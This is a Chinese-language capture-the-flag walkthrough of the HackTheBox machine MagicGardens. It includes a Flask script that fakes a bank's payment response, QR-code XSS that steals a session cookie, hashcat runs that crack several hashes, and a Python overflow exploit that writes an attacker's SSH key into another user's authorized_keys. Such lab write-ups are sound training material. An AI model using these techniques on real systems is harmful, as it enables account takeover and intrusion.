【season-5】box magicgardens wp

25k words

USER

nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
└─$ sudo nmap -sS 10.129.104.149 -p22,25,80,1337,5000, -sV --min-rate=3000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-22 05:42 EDT
Stats: 0:01:01 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 60.00% done; ETC: 05:44 (0:00:40 remaining)
Nmap scan report for 10.129.104.149 (10.129.104.149)
Host is up (0.47s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
25/tcp open smtp?
80/tcp open http nginx 1.22.1
1337/tcp open waste?
5000/tcp open ssl/http Docker Registry (API: 2.0)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port1337-TCP:V=7.94SVN%I=7%D=5/22%Time=664DBE1E%P=x86_64-pc-linux-gnu%r
SF:(GenericLines,15,"\[x\]\x20Handshake\x20error\n\0")%r(GetRequest,15,"\[
SF:x\]\x20Handshake\x20error\n\0")%r(HTTPOptions,15,"\[x\]\x20Handshake\x2
SF:0error\n\0")%r(RTSPRequest,15,"\[x\]\x20Handshake\x20error\n\0")%r(RPCC
SF:heck,15,"\[x\]\x20Handshake\x20error\n\0")%r(DNSVersionBindReqTCP,15,"\
SF:[x\]\x20Handshake\x20error\n\0")%r(DNSStatusRequestTCP,15,"\[x\]\x20Han
SF:dshake\x20error\n\0")%r(Help,15,"\[x\]\x20Handshake\x20error\n\0")%r(Te
SF:rminalServerCookie,15,"\[x\]\x20Handshake\x20error\n\0")%r(X11Probe,15,
SF:"\[x\]\x20Handshake\x20error\n\0")%r(FourOhFourRequest,15,"\[x\]\x20Han
SF:dshake\x20error\n\0")%r(LPDString,15,"\[x\]\x20Handshake\x20error\n\0")
SF:%r(LDAPSearchReq,15,"\[x\]\x20Handshake\x20error\n\0")%r(LDAPBindReq,15
SF:,"\[x\]\x20Handshake\x20error\n\0")%r(LANDesk-RC,15,"\[x\]\x20Handshake
SF:\x20error\n\0")%r(TerminalServer,15,"\[x\]\x20Handshake\x20error\n\0")%
SF:r(NCP,15,"\[x\]\x20Handshake\x20error\n\0")%r(NotesRPC,15,"\[x\]\x20Han
SF:dshake\x20error\n\0")%r(JavaRMI,15,"\[x\]\x20Handshake\x20error\n\0")%r
SF:(ms-sql-s,15,"\[x\]\x20Handshake\x20error\n\0")%r(afp,15,"\[x\]\x20Hand
SF:shake\x20error\n\0")%r(giop,15,"\[x\]\x20Handshake\x20error\n\0");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 191.92 seconds

先简单访问下端口看看都是什么服务

1337

1
2
[x] Handshake error

5000

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
└─$ curl -s -k https://10.129.104.149:5000/v2/_catalog|jq
{
"errors": [
{
"code": "UNAUTHORIZED",
"message": "authentication required",
"detail": [
{
"Type": "registry",
"Class": "",
"Name": "catalog",
"Action": "*"
}
]
}
]
}

80 就是个http了


因为5000有认证没法访问

所以突破重心还是放在了web

我先扫了一哈vhost和webdir,vhost没收获,dir倒是爆出来个django

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
301      GET        0l        0w        0c http://magicgardens.htb/login => http://magicgardens.htb/login/
301 GET 0l 0w 0c http://magicgardens.htb/search => http://magicgardens.htb/search/
301 GET 0l 0w 0c http://magicgardens.htb/register => http://magicgardens.htb/register/
200 GET 36l 234w 16516c http://magicgardens.htb/static/store/logo.png
200 GET 112l 199w 14103c http://magicgardens.htb/static/store/star.png
200 GET 15l 73w 5934c http://magicgardens.htb/static/store/twitter.png
200 GET 14l 80w 4316c http://magicgardens.htb/static/store/facebook.png
200 GET 16l 128w 7376c http://magicgardens.htb/static/store/cart_dark.png
200 GET 157l 611w 9042c http://magicgardens.htb/catalog/Rose
200 GET 147l 572w 8604c http://magicgardens.htb/catalog/Chrysanthemum
200 GET 9l 68w 5087c http://magicgardens.htb/static/store/youtube.png
200 GET 17l 113w 7571c http://magicgardens.htb/static/store/instagram.png
200 GET 161l 616w 9222c http://magicgardens.htb/catalog/Carnation
200 GET 151l 654w 9132c http://magicgardens.htb/catalog/Tulip
200 GET 126l 541w 7382c http://magicgardens.htb/catalog/Lilium
200 GET 17l 219w 16221c http://magicgardens.htb/static/store/cart.png
200 GET 143l 575w 8420c http://magicgardens.htb/catalog/Gerbera
200 GET 151l 621w 8911c http://magicgardens.htb/catalog/Orchid
200 GET 140l 588w 8139c http://magicgardens.htb/catalog/Snowdrop
200 GET 122l 519w 7112c http://magicgardens.htb/catalog/Iris
301 GET 0l 0w 0c http://magicgardens.htb/profile => http://magicgardens.htb/profile/
200 GET 156l 479w 35302c http://magicgardens.htb/static/store/catalog.png
200 GET 163l 651w 48532c http://magicgardens.htb/static/store/favicon.png
200 GET 139l 325w 21887c http://magicgardens.htb/static/store/login.png
200 GET 150l 456w 30261c http://magicgardens.htb/static/store/heart.png
301 GET 0l 0w 0c http://magicgardens.htb/subscribe => http://magicgardens.htb/subscribe/
301 GET 0l 0w 0c http://magicgardens.htb/cart => http://magicgardens.htb/cart/
403 GET 7l 9w 153c http://magicgardens.htb/media/uploads/
403 GET 7l 9w 153c http://magicgardens.htb/static/store/
200 GET 1385l 7878w 615881c http://magicgardens.htb/media/uploads/gerbera.jpg
200 GET 853l 5257w 330945c http://magicgardens.htb/media/uploads/lilium.jpg
301 GET 0l 0w 0c http://magicgardens.htb/wish_list => http://magicgardens.htb/wish_list/
403 GET 7l 9w 153c http://magicgardens.htb/static/
301 GET 0l 0w 0c http://magicgardens.htb/catalog => http://magicgardens.htb/catalog/
301 GET 0l 0w 0c http://magicgardens.htb/admin => http://magicgardens.htb/admin/
200 GET 1091l 7314w 577616c http://magicgardens.htb/media/uploads/iris.jpg
403 GET 7l 9w 153c http://magicgardens.htb/media/
200 GET 2336l 13564w 1082094c http://magicgardens.htb/static/store/promo.jpg
200 GET 1816l 11145w 869024c http://magicgardens.htb/media/uploads/tulip.jpg
200 GET 1048l 6639w 459217c http://magicgardens.htb/media/uploads/snowdrop.jpg
200 GET 0l 0w 255080c http://magicgardens.htb/media/uploads/orchid.jpg
200 GET 0l 0w 518517c http://magicgardens.htb/media/uploads/%D1%81hrysanthemum.jpg
200 GET 0l 0w 498589c http://magicgardens.htb/media/uploads/rose.jpg
200 GET 0l 0w 398855c http://magicgardens.htb/media/uploads/carnations.jpg
200 GET 0l 0w 280602c http://magicgardens.htb/static/store/bootstrap.css
200 GET 0l 0w 290998c http://magicgardens.htb/static/store/promo_2.png
200 GET 458l 1853w 30861c http://magicgardens.htb/
301 GET 7l 11w 169c http://magicgardens.htb/static/store => http://magicgardens.htb/static/store/
301 GET 7l 11w 169c http://magicgardens.htb/media/uploads => http://magicgardens.htb/media/uploads/
301 GET 7l 11w 169c http://magicgardens.htb/static/admin => http://magicgardens.htb/static/admin/
301 GET 7l 11w 169c http://magicgardens.htb/static/admin/img => http://magicgardens.htb/static/admin/img/

尝试-未登录状态下

web1

看到这里我可以填写地址啥的直接一个xss,但是没有返回,不过这个目前我还没登陆的状态下是这样的,等一会登录再试试。

web2

这里提交订单后有显示提交成功,其中提到

24小时内会有他们经理和我联系,并且出示QR码会有优惠

这里我考虑到会联系我应该有两种可能:

  • 1.登陆后有联系渠道
  • 2.直接给我邮箱服务器发邮件

由于我着实没想到我除了劫持他dns解析之外他怎么给我发邮件,所以一会登录再测测这个功能。


再看看有没有sql注入

web3

这里试了下没有


web5

看了下能不能通过重置密码爆破出用户..发现全是200所以这个pass


web5

然后是我当时枚举的时候,发现它有账号注册的地方,就考虑注册用户遍历,当时是跑出来目标用户名了,不过当时我拿着也没啥鸟用..


有坑的地方

web4

这个我想随便构造个参到购物车,加完之后购物车,访问购物车直接error 500,要re机器才行..(添加收藏也是一样的,不要轻易尝试)


尝试-登录状态下

web9

web10

这波登录之后尝试了下这个购买功能还是没有xss,然后我看说是买20个免运费,然后又买了20个还是不行,所以最终这个部分pass了


web11

这部分我尝试了下xss也是不行,上传也是g


web12

再找到这个账户升级的页面,但是要扣钱,最主要的是还一直是失败

web13

不过我看到他是有请求到这三个银行的,所以我觉得可能他会存在银行的servername或者别的接口,所以我这里优先把这三个银行域名添加到host然后进行dir爆破。

然后发现确实是存在的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
└─$ feroxbuster -u http://magicalbank.htb/api -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -d 3

___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.10.1
───────────────────────────┬──────────────────────
🎯 Target Url │ http://magicalbank.htb/api
🚀 Threads │ 50
📖 Wordlist │ /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-big.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.10.1
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 3
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 10l 21w 179c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301 GET 0l 0w 0c http://magicalbank.htb/api/sessions => http://magicalbank.htb/api/sessions/
301 GET 0l 0w 0c http://magicalbank.htb/api/createAccount => http://magicalbank.htb/api/createAccount/
301 GET 0l 0w 0c http://magicalbank.htb/api/payments => http://magicalbank.htb/api/payments/

然后对着几个接口进行了访问

1
2
└─$ curl http://magicalbank.htb/api/createAccount/ -XPOST
{"accountCode": "9125649562", "pspReference": "UD8DPQ6qQ0UK2"}

这个接口我没看懂是干啥的,我寻思是要拿着这个塞cookies里,然后去访问银行..试了半天并不是。

web14

这位更是逆天,直到我写wp时都没搞明白这个session接口是干啥的。


web15

然后我试了下是不是存在ssrf还是啥的,发现有蹊跷,这里我给了个127.0.0.1他直接给报错了,如果是连接的银行的话会是下面这个样子

web16

转半天才会报错,所以我猜测他可能是需要访问到接口才可以,所以他正常是访问到了bank的api的,估计是出了啥问题,所以当时用mitmweb 开了个监听然后把转发站点改成了magicalbank.htb,进行一个看他俩站点交互时候到底发生了神魔事。

web17

芝士商城的请求

web18

芝士bank的返回

1
2
3
4
5
6
{
"cardname": "123",
"cardnumber": "123",
"message": "Payment Required",
"status": "402"
}

我当时以为是银行没钱导致的,所以改了一下请求的钱数umount,bank返回还是402。考虑到这个应该是有问题,所以尝试换个方向思考,是不是验证由商城那边做的,是对bank哪个返回值做出了判断还是有进一步的联动校验。

..所以写个了假返回简单试了下,一开始我给的是访问会返回status 200,试了下没啥反应,然后又改了改加了银行测返回的jsonstatus的值和别的几个key,发现改了status成了。喜提vip

这是脚本

1
2
3
4
5
6
7
8
9
10
11
from flask import Flask

app = Flask(__name__)

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>', methods=['POST'])
def catch_all(path):
return '{"status": "200", "message": "Payment Required", "cardname": "123", "cardnumber": "aa"}', 200

if __name__ == '__main__':
app.run(host="0.0.0.0",port=3000)

web19

get QR


坑点

这里千万返回消息要给全了,他好像是会匹配四个key,全有才行,我手贱message去掉了,直接账户卡这个页面了。

这里我留了个小坑咦嘻嘻。


这里我已经是大会员了,购买时候尝试一下信息里给xss,试了下还是不行。

不过拿到QR之后再尝试买东西就会有人联系了,

web20

这里我卡了很长时间,xss直接丢过去是不行的。最后朋友提醒了一下是因为对面那需要扫二维码,所以是二维码可以做xss。

web21

按照这个思路我发现download时候好像可以用他的base64自定义二维码内容..不过给xss的语句出来的二维码,扫时候发现会被过滤掉。

没办法就还是去找了个生成的:

https://cli.im/text/other

https://www.the-qrcode-generator.com/

这俩都成

然后发给对面等了半天就喜提cookies了

1
GET /?c=csrftoken=TQfakXOEyOcqpaUwwnu4JTwHdlCyBxwc;%20sessionid=.eJxNjU1qwzAQhZNFQgMphZyi3QhLluNoV7rvqgcwkixFbhMJ9EPpotADzHJ63zpuAp7d977Hm5_V7265mO4bH-GuJBO9PBuE1TnE_IWwTlnmksbgLUtrETafQ3LdaUgZYYGwnVCH4rOJ6Naw0TLmfz_SdqKZvu9kya67POqGHmHJEHazTEn9Yfwonvp36Y-B6OBzHBS5VMjVJvIaenN6uXUfZgNOJofwTBttmW0FrU3VcGbMgWlRKcWptIIy2Ryqfa1t0-o9VYqpyrCaG061amuuhcBC_gDes2X7:1sBrZf:Hfxfpt7QMKfaGCzyy_Xg0tM8OGgFXonT_TYGAQeTtpg

LOGIN morty

web22

可以看到是登陆到了morty这个用户的(这里弱智了,应该去登录django的,在这又试了半天商城)

然后去登陆一下django,在一顿乱点之下发现了个hash,我还以为要上cve来着..

web23

hashcat 跑了下

1
pbkdf2_sha256$600000$y7K056G3KxbaRc40ioQE8j$e7bq8dE/U+yIiZ8isA0Dc0wuL0gYI3GjmmdzNU+Nl7I=:jonasbrothers

SSH morty

没想到ssh直接进来了..

1
2
3
4
5
6
7
8
9
10
11
└─$ ssh morty@10.10.11.9                         
morty@10.10.11.9's password:
Linux magicgardens 6.1.0-20-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.85-1 (2024-04-11) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
morty@magicgardens:~$ ls

这里简单收集了一下主机信息,这部分没啥特别重要的东西。

快进到ps看到alex的进程,脱下来harvest直接开pwn。

这里harvest分为server和cli,所以我的思路是alex开着server,所以审计重点应该是在server部分。

web24

这里检测s1系不系server,一眼argserver,所以这个就是server入口

接着就到了harvest_listen监听方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
void __fastcall __noreturn harvest_listen(unsigned int a1, __int64 a2, const char *a3, __int64 a4)
{
unsigned int v4; // eax
struct sockaddr addr; // [rsp+20h] [rbp-20h] BYREF
int optval; // [rsp+30h] [rbp-10h] BYREF
unsigned int v9; // [rsp+34h] [rbp-Ch]
unsigned int raw_socket; // [rsp+38h] [rbp-8h]
int fd; // [rsp+3Ch] [rbp-4h]

fd = socket(2, 1, 0);
raw_socket = create_raw_socket(a3);
optval = 1;
v9 = 0;
if ( fd == -1 )
{
puts("[x] Socket creation failed");
exit(1);
}
if ( setsockopt(fd, 1, 2, &optval, 4u) < 0 )
{
puts("[x] Failed to reuse address option");
exit(1);
}
v4 = v9;
BYTE1(v4) = BYTE1(v9) | 8;
if ( fcntl(fd, 2, v4) )
{
puts("[x] fcntl server error");
exit(1);
}
addr = 0LL;
addr.sa_family = 2;
*(_DWORD *)&addr.sa_data[2] = htonl(0);
*(_WORD *)addr.sa_data = htons(a1);
if ( bind(fd, &addr, 0x10u) )
{
puts("[x] Bind failed");
exit(1);
}
if ( listen(fd, 5) )
{
printf("[x] Listen on port %d failed\n", a1);
exit(1);
}
printf("[*] Listening on interface %s\n", a3);
handle_connections((unsigned int)fd, raw_socket, a2, a4);
}

需要关注handle_connections((unsigned int)fd, raw_socket, a2, a4)方法,因为上面都是初始化啥的,因为他服务端那边都跑起来了所以暂时先过掉。

这个方法是监听连接的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
for ( m = 0; ; ++m )
{
if ( m > v20 )
goto LABEL_7;
if ( (readfds.fds_bits[m / 64] & (1LL << (m & 0x3F))) != 0 )
{
if ( m == a1 )
{
v11 = accept(a1, 0LL, 0LL);
if ( v11 < 0 )
{
puts("[x] Failed to accept connection");
continue;
}
if ( (unsigned int)harvest_handshake_server((unsigned int)v11, a3) ) //<--判断服务侧连接监听对象情况
{
v4 = v15;
BYTE1(v4) = BYTE1(v15) | 8;
if ( fcntl(v11, 2, v4) )
{
puts("[x] fcntl client error");
exit(1);
}
v9[v11 / 64] |= 1LL << (v11 & 0x3F);
if ( v11 > v20 )
v20 = v11;
}
}
if ( m == a2 )
{
memset(s, 0, sizeof(s));
handle_raw_packets((unsigned int)m, s, a4); //<--在m==a2 也就是服务连接到了监听对象后,对监听到的包进行处理
}
}
if ( (v9[m / 64] & (1LL << (m & 0x3F))) != 0 )
handle_client((unsigned int)m, v9, (unsigned int)v20, s); //<--客户端侧处理
}
}

这里其实我卡了一天多,主要找不到利用点,然后朋友说先用harvest_handshake_server方法让它进监听模式后面才有得搞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
__int64 __fastcall harvest_handshake_server(int a1, const char *a2)
{
size_t v2; // rax
size_t v4; // rax
char buf[64]; // [rsp+10h] [rbp-80h] BYREF
char s[16]; // [rsp+50h] [rbp-40h] BYREF
__int128 v7; // [rsp+60h] [rbp-30h]
__int128 v8; // [rsp+70h] [rbp-20h]
__int128 v9; // [rsp+80h] [rbp-10h]

memset(buf, 0, sizeof(buf));
read(a1, buf, 0x40uLL);
*(_OWORD *)s = 0LL;
v7 = 0LL;
v8 = 0LL;
v9 = 0LL;
strcpy(s, "harvest v");
v2 = strlen(s);
strcpy(&s[v2], a2);
*(_WORD *)&s[strlen(s)] = 10;
if ( !strcmp(s, buf) )
{
v4 = strlen(s);
write(a1, s, v4);
puts("[*] Successful handshake");
return 1LL;
}
else
{
puts("[x] Handshake error");
write(a1, "[x] Handshake error\n", 0x15uLL);
close(a1);
return 0LL;
}
}

其实重点的就下面这段

1
2
3
4
5
6
7
···
strcpy(s, "harvest v");
v2 = strlen(s);
strcpy(&s[v2], a2);
*(_WORD *)&s[strlen(s)] = 10;
if ( !strcmp(s, buf) )
···

bufs的值一致才可以,可以看到s一开始被赋值了harvest v,所以比较简单的方式还是发个包然后debug..

pwn1

于是下个断点看看,我选在这里,因为看到他有给s最初的harvest v,所以跟着往下走走看cmp那会变成啥。

pwn2

往下跟了跟到了strcmp,因为我用的客户端连接的嘛 所以这个部分就1.0.3肯定是客户端发过去的了,所以验证是指定能过得,所以我们要构造的发送包要带着harvest v1.0.3,以防万一再抓了个包看看

net1

可以看到确实是发了个这个玩意

1
2
3
4
5
6
└─$ echo 'harvest v1.0.3'|nc 127.0.0.1 1337
harvest v1.0.3
--------------------------------------------------
Source: [00:0c:29:b9:eb:93] [192.168.221.131]
Dest: [00:50:56:c0:00:08] [192.168.221.1]
Time: [07:45:52] Length: [86]

朋友让用nc连接发包试试,确实行。

pwn3

顺便看下下面的m会变成什么,断点下到这里好了

pwn4

在经过几次循环后这里cmp时候就是一样的0x4了,然后就进了handle_raw_packets

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
__int64 __fastcall handle_raw_packets(int a1, int a2, __int64 a3)
{
char *v3; // rax
__int64 result; // rax
char dest[10]; // [rsp+2Eh] [rbp-10072h] BYREF
time_t timer; // [rsp+38h] [rbp-10068h] BYREF
char v8[32]; // [rsp+40h] [rbp-10060h] BYREF
char v9[32]; // [rsp+60h] [rbp-10040h] BYREF
char s[14]; // [rsp+80h] [rbp-10020h] BYREF
__int16 v11; // [rsp+8Eh] [rbp-10012h] BYREF
int v12; // [rsp+1008Ch] [rbp-14h]
__int16 *v13; // [rsp+10090h] [rbp-10h]
unsigned int v14; // [rsp+1009Ch] [rbp-4h]

memset(s, 0, 0xFFFFuLL);
v14 = recvfrom(a1, s, 0xFFFFuLL, 0, 0LL, 0LL);
timer = time(0LL);
v3 = ctime(&timer);
strncpy(dest, v3 + 11, 8uLL);
dest[8] = 0;
if ( v14 <= 0x27 )
{
puts("Incomplete packet ");
close(a1);
exit(0);
}
v13 = &v11;
v12 = 255;
sprintf(
v9,
"%.2x:%.2x:%.2x:%.2x:%.2x:%.2x",
(unsigned __int8)s[6],
(unsigned __int8)s[7],
(unsigned __int8)s[8],
(unsigned __int8)s[9],
(unsigned __int8)s[10],
(unsigned __int8)s[11]);
sprintf(
v8,
"%.2x:%.2x:%.2x:%.2x:%.2x:%.2x",
v12 & (unsigned int)s[0],
v12 & (unsigned int)s[1],
v12 & (unsigned int)s[2],
v12 & (unsigned int)s[3],
v12 & (unsigned int)s[4],
v12 & (unsigned int)s[5]);
if ( *(_BYTE *)v13 == 69 )
print_packet((_DWORD)v13, a3, a2, (unsigned int)v9, (unsigned int)v8, (unsigned int)dest, (__int64)s);
result = *(unsigned __int8 *)v13;
if ( (_BYTE)result == 96 )
return log_packet(v13, a3);
return result;
}

pwn5

然后我就看见它进来给几个参申请了好大一段空间..

1
2
3
4
5
6
7
···
if ( *(_BYTE *)v13 == 0x45 )
print_packet((_DWORD)v13, a3, a2, (unsigned int)v9, (unsigned int)v8, (unsigned int)dest, (__int64)s);
result = *(unsigned __int8 *)v13;
if ( (_BYTE)result == 0x60 )
return log_packet(v13, a3);
···

这一段其实是判断包头信息,比如我这里用的是ipv4的地址连接,它的包头就会有69,比如

net2

这个样子

net3

这个是ipv6

其实这个溢出点就是对ipv6处理进入到这个log_packet里面发生的..

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
__int64 __fastcall log_packet(__int64 a1, const char *a2)
{
uint16_t v3; // [rsp+1Eh] [rbp-FF82h]
char format[65360]; // [rsp+20h] [rbp-FF80h] BYREF
char dest[40]; // [rsp+FF70h] [rbp-30h] BYREF
FILE *stream; // [rsp+FF98h] [rbp-8h]

v3 = htons(*(_WORD *)(a1 + 4));
if ( v3 )
{
strcpy(dest, a2); //<---这里溢出了 a2是我们传的,可以超大
strncpy(format, (const char *)(a1 + 60), v3);
*(_WORD *)&format[v3] = 10;
stream = fopen(dest, "w"); //<---这里dest被写入了,可以溢出控制这里的文件名,甚至是内容
if ( stream )
{
fprintf(stream, format);
fclose(stream);
puts("[!] Suspicious activity. Packages have been logged.");
}
else
{
puts("Bad log file");
}
}
return 0LL;
}

知道了溢出点就可以狠狠出击了,直接构造个大的发过去,需要注意得先让他进了监听模式再跑。

1
2
3
4
5
6
7
8
└─$ cat v6v2.py 
import socket

server_address = ('::1',666)
s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
s.connect(server_address)
data=b''*65364 #<-样例 用gdb的或者msf的patten生成都ok 或者选自己喜欢的
s.send(data)

pwn6

这里在调用_IO_new_file_fopen的时候文件名就是被溢出冲掉了

1
2
3
4
5
6
_IO_new_file_fopen (
QWORD var_0 = 0x000055555555a6d00x00000005fbad248c,
QWORD var_1 = 0x00007ffffffed650"Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw[...]",
QWORD var_2 = 0x00005555555579d10x6f6c206461420077 ("w"?),
int var_3 = 0x0000000000000001
)

变成了Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw

我这里用的msf-pattern

1
2
3
4
5
└─$ msf-pattern_offset -q Fu8F -l 65501                              
[*] Exact match at offset 4524
[*] Exact match at offset 24804
[*] Exact match at offset 45084
[*] Exact match at offset 65364

从65364开始排着往后试,看哪个部分是写文件名的。

好吧65364就是,但是很奇怪我是这么给的

1
2
3
4
5
6
7
8
9
import socket

server_address = ('::1',666)
s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
s.connect(server_address)

data=open('./list','rb').read().replace(b'\n',b'')+b'aaaaaaaaaaaaaaaa'

s.send(data)
1
2
└─$ dir                        
aaaaaaaa

list我里面写了65364个字符,然后又给了16个a,最后写出来的文件名是9个a,也就是被程序吞掉了7个,所以我要再给垃圾字符串+7个试试。

1
msf-pattern_create -l 65371 > list

然后再调用,就成了

1
2
└─$ dir
aaaaaaaaaaaaaaa

然后再看内容有没有被溢出影响到

1
2
└─$ cat aaaaaaaaaaaaaaa                                                                                                                     
Aa4Aa5Aa6Aa7Aa....

查下Aa4是多少位溢出的尝试写入

1
2
3
4
5
└─$ msf-pattern_offset -q Aa4A -l 65372                                  
[*] Exact match at offset 12
[*] Exact match at offset 20292
[*] Exact match at offset 40572
[*] Exact match at offset 60852

这个就不用排着试了..

1
2
└─$ wc aaaaaaaaaaaaaaa
0 1 65375 aaaaaaaaaaaaaaa

65372+16-65375-1=12 (因为wc会自动多计算一位所以-1)

所以最后可以控制写入文件名+文件内容就可以写公钥了

1
2
3
4
5
6
7
import socket

server_address = ('::1',11111)
s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
s.connect(server_address)
data=b'A'*12+open('./id_rsa.pub','rb').read()+open('./list1','rb').read().replace(b'\n',b'')+b'/home/alex/.ssh/authorized_keys'
s.send(data)

这里要自己算一下公钥长度以决定垃圾数据长度,反正要先找到具体多少溢出可以写文件名然后减一下公钥长度就出来了。

然后到morty用户连一下server,再跑脚本就成功写入了。

再ssh登录到alex用户就ok

ROOT

这里我进来后跑了下linpeas其实..但是没翻到什么,其实我眼瞎了,一开始有邮件提示的,我是在linpeas跑到fail2ban找他漏洞时候看到有mail才想到顺便去看mail..

这里再/var/mail下有一个alex和一个root

只能看alex,内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
alex@magicgardens:/var/mail$ cat alex
From root@magicgardens.magicgardens.htb Fri Sep 29 09:31:49 2023
Return-Path: <root@magicgardens.magicgardens.htb>
X-Original-To: alex@magicgardens.magicgardens.htb
Delivered-To: alex@magicgardens.magicgardens.htb
Received: by magicgardens.magicgardens.htb (Postfix, from userid 0)
id 3CDA93FC96; Fri, 29 Sep 2023 09:31:49 -0400 (EDT)
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="1804289383-1695994309=:37178"
Subject: Auth file for docker
To: <alex@magicgardens.magicgardens.htb>
User-Agent: mail (GNU Mailutils 3.15)
Date: Fri, 29 Sep 2023 09:31:49 -0400
Message-Id: <20230929133149.3CDA93FC96@magicgardens.magicgardens.htb>
From: root <root@magicgardens.magicgardens.htb>

--1804289383-1695994309=:37178
Content-Type: text/plain; charset=UTF-8
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
Content-ID: <20230929093149.37178@magicgardens.magicgardens.htb>

Use this file for registry configuration. The password is on your desk

--1804289383-1695994309=:37178
Content-Type: application/octet-stream; name="auth.zip"
Content-Disposition: attachment; filename="auth.zip"
Content-Transfer-Encoding: base64
Content-ID: <20230929093149.37178.1@magicgardens.magicgardens.htb>

UEsDBAoACQAAAG6osFh0pjiyVAAAAEgAAAAIABwAaHRwYXNzd2RVVAkAA29KRmbOSkZmdXgLAAEE
6AMAAAToAwAAVb+x1HWvt0ZpJDnunJUUZcvJr8530ikv39GM1hxULcFJfTLLNXgEW2TdUU3uZ44S
q4L6Zcc7HmUA041ijjidMG9iSe0M/y1tf2zjMVg6Dbc1ASfJUEsHCHSmOLJUAAAASAAAAFBLAQIe
AwoACQAAAG6osFh0pjiyVAAAAEgAAAAIABgAAAAAAAEAAACkgQAAAABodHBhc3N3ZFVUBQADb0pG
ZnV4CwABBOgDAAAE6AMAAFBLBQYAAAAAAQABAE4AAACmAAAAAAA=
--1804289383-1695994309=:37178--

可以看到这就是包含了docker registry configuration登陆方式的一个压缩包,是root发过来的..当时我都快忘了还有5000了。

这里base64输出到zip,然后用zip2john导一下跑密码就ok

1
2
└─$ hashcat '$pkzip$1*2*2*0*54*48*b238a674*0*42*0*54*a86e*55bfb1d475afb746692439ee9c951465cbc9afce77d2292fdfd18cd61c542dc1497d32cb3578045b64dd514dee678e12ab82fa65c73b1e6500d38d628e389d306f6249ed0cff2d6d7f6ce331583a0db7350127c9*$/pkzip$' -m 17225 /usr/share/wordlists/rockyou.txt --show
$pkzip$1*2*2*0*54*48*b238a674*0*42*0*54*a86e*55bfb1d475afb746692439ee9c951465cbc9afce77d2292fdfd18cd61c542dc1497d32cb3578045b64dd514dee678e12ab82fa65c73b1e6500d38d628e389d306f6249ed0cff2d6d7f6ce331583a0db7350127c9*$/pkzip$:realmadrid

解压出来有个htpasswd

1
2
└─$ cat htpasswd
AlexMiles:$2y$05$KKShqNw.A66mmpEqmNJ0kuoBwO2rbdWetc7eXA7TbjhHZGs2Pa5Hq

接着跑

1
2
hashcat '$2y$05$KKShqNw.A66mmpEqmNJ0kuoBwO2rbdWetc7eXA7TbjhHZGs2Pa5Hq' -m3200 /usr/share/wordlists/rockyou.txt --show
$2y$05$KKShqNw.A66mmpEqmNJ0kuoBwO2rbdWetc7eXA7TbjhHZGs2Pa5Hq:diamonds

然后拿着密码去看下5000里都有啥

可以参考

https://book.hacktricks.xyz/network-services-pentesting/5000-pentesting-docker-registry

1
2
└─$ python3 drg.py -U AlexMiles -P diamonds https://magicgardens.htb --list
[+] magicgardens.htb

